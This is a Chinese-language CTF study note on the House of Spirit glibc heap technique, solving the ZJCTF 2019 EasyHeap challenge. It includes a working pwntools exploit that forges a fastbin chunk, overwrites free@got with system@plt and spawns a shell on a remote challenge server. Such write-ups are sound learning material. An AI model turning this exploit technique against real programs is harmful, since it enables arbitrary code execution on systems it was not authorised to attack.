0%

house of spirit学习笔记

[TOC]

前置知识

House of Spirit 是 the Malloc Maleficarum 中的一种技术。

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

至于为什么要绕过这些检测,可以参考 free 部分的源码。

ZJCTF 2019]EasyHeap

==uaf + 堆溢出 + house of spirit + double free==

学习与收获

  1. 如果想覆盖任意地址的数据,那么可以在任意地址或其前面构造一个fake_chunk,然后使fastbins中的fd指针指向这个fake_chunk的首地址(可以通过堆溢出),我们便能通过从fastbins获取chunk的方式来改写任意地址里的数据。
  2. fastbins中是以单链表形式管理fastbin_chunk的,每个fastbin_chunkfd指针指向链表中的下一个fastbin_chunk,最后一个fastbin_chunkfd的值是0
  3. 程序中通常会有一张表来管理申请的chunk,本题中,heaparray数组中的一个单元指向一个chunk

思路

整体思路:

​ 程序中有_sytsem_函数,_RELRO_保护是_Partial RELRO_,所以我们可以劫持_free_的_got_表为_system@plt_,再_free_一个_chunk_即可得到_shell_。

​ 程序中通常会有一张表来管理申请的_chunk_,本题中,_heaparray_数组便存放着我们申请的每一个堆块的内容地址。我先随便申请了两个_chunk_,0x6020e0是_heaparray_的首地址,如图:

image-20240708182417742

构造fake_chunk加入fastbins

​ 我们需要在heaparray的地址前面找到一个合适的地址,来错位偏移构造一个size0x7ffake_chunk,如图,以0x6020adfake_chunk的首地址。

image-20240709105407483

image-20240709105625469

​ 然后将fake_chunk添加到fastbins中,也就是让fastbin_chunk0fd指针指向0x6020ad这个地址。通过chunk1溢出,然后覆盖fastbins_chunk0fd指针为0x6020ad即可。

image-20240708185805628
add(0x60,"a"*8)
add(0x60,"b"*8)
add(0x60,"c"*8)
delete(2)
payload = b'/bin/sh\x00'+b'A'*(0x60-0x8)+b'B'*0x8+p64(0x71)+p64(0x6020ad)
#b'/bin/sh\x00'
#b'A'*(0x60-0x8)填充chunk1
#b'B'*0x8填充fastbins_chunk0的前8个字节
#p64(0x71)是使后面释放fastbins_chunk0成chunk2后的size不变
edit(1,len(payload),payload)

free_gotheaparray[0]

​ 把free_got写到heaparray[0],这样后面修改chunk0的值为system_plt,其实就是修改free@got表的值为sysytm_plt,那么怎么写呢?

add(0x60,"eeee")#2
#第一次创建的堆块的是fastbins_chunk0,即fastbin中地址为0x1d000e0的chunk
add(0x60,"f"*0x20)#3
#因为fastbins_chunk0的fd指针是0x6020ad,所以第二次创建的chunk的起始地址是0x6020ad
payload = b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload),payload)

​ 先再创建两个chunk,第一个就是释放后的fastbins_chunk0,即fastbin中地址为0x1d000e0chunk。然后我其实在_heap_中只看到3chunk,一直不知道chunk3去哪儿了。(其实chunk3就是前面构造的fake_chunk

image-20240709103039101

​ 后来想到前面fastbin中的fastbins_chunk0fd指针指向的是0x6020ad,所以就看了这个地址,里面果然是chunk3的数据,也就是说chunk3就是前面构造的fake_chunk。如图可以看到写入的0x20*"f"

image-20240709102425216

​ 而0x6020ad后面正好是数组heaprray的地址0x6020e0,也就是说我们可以通过堆溢出填充chunk3heaprray[0],并修改heaprray[0]的值。(这也是为什么前面要在heaparray的地址前面找合适的地址来构造fake_chunk了)

system_pltfree_got

​ 现在,heaparray[0]的值是free_got,我们直接修改chunk0的内容为system_plt。然后再delete(1)call free的时候,调用的其实是system函数。

payload = p64(elf.plt["system"])#修改free@got表为system的地址,后面再call free的时候,调用的其实是system函数
edit(0,len(payload),payload)
pause()
delete(1)

exp

from tools import *
# p = process('./a')
p = remote("node5.buuoj.cn",25585)
elf = ELF('./a')
debug(p,0x400cdc,0x400ce8,0x400cf4)

def add(size,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap:",content)
def edit(index,size,content):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap : ",content)
def delete(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))

add(0x60,"a"*8)
add(0x60,"b"*8)
add(0x60,"c"*8)
delete(2)
payload = b'/bin/sh\x00'+b'A'*(0x60-0x8)+b'B'*0x8+p64(0x71)+p64(0x6020ad)
edit(1,len(payload),payload)

add(0x60,"e"*8)
add(0x60,"f"*0x20)
payload = b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload),payload)

payload = p64(elf.plt["system"])
edit(0,len(payload),payload)
pause()
delete(1)

p.interactive()

总结

​ 如果想覆盖任意地址的数据,那么可以在任意地址或其前面构造一个fake_chunk,然后使fastbins中的fd指针指向这个fake_chunk的首地址(可以通过堆溢出),我们便能通过从fastbins获取chunk的方式来改写任意地址里的数据。